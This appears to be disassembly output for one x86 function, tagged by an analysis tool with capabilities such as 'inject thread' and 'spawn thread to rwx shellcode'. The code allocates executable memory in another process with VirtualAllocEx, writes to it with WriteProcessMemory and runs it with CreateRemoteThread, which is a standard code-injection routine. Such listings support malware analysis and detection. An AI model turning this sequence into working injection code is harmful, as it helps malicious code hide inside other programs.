Function at 0x41b841
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, 0xf9bd41
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
mov eax, 0xf9bd51
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
call fcn.0041b741
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41b896
push ebx
call fcn.004d51cb
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41b8a6
push ebx
call fcn.004d51cb
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41b8c0
mov eax, 0
jmp 0x41baed
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x41b8d5
mov eax, 0x537382
push eax
push 1
mov ebx, 0x194
call fcn.004d6870
add esp, 0x10
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0xf8a96e]
fstp qword [ebp - 0x24]
mov dword [ebp - 0x28], esp
push 0x40
push 0x1000
fld qword [ebp - 0x24]
call fcn.004017df
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x28], esp
je 0x41b941
push 0x138
push 0x401e678
push 6
call fcn.004d51d7
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41b958
mov eax, 0
jmp 0x41baed
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x41b96d
mov eax, 0x537382
push eax
push 1
mov ebx, 0x194
call fcn.004d6870
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 4]
call fcn.0041baf3
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x41b9a8
mov eax, 0x537382
push eax
push 1
mov ebx, 0x194
call fcn.004d6870
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push 0
push dword [ebp - 0x14]
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
je 0x41b9d5
add eax, 8
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41ba02
push 0x252
push 0x401e678
push 6
call fcn.004d51d7
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41ba48
push 0x2af
push 0x401e678
push 6
call fcn.004d51d7
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], esp
push 0xffffffff
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41ba7c
push 0x31c
push 0x401e678
push 6
call fcn.004d51d7
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41bab5
push 0x360
push 0x401e678
push 6
call fcn.004d51d7
add esp, 0xc
mov dword [ebp - 0x14], esp
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [0x12e19ed]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41bae5
push 0x3bb
push 0x401e678
push 6
call fcn.004d51d7
add esp, 0xc
mov eax, dword [ebp - 0x10]
jmp 0x41baed
mov esp, ebp
pop ebp
ret 8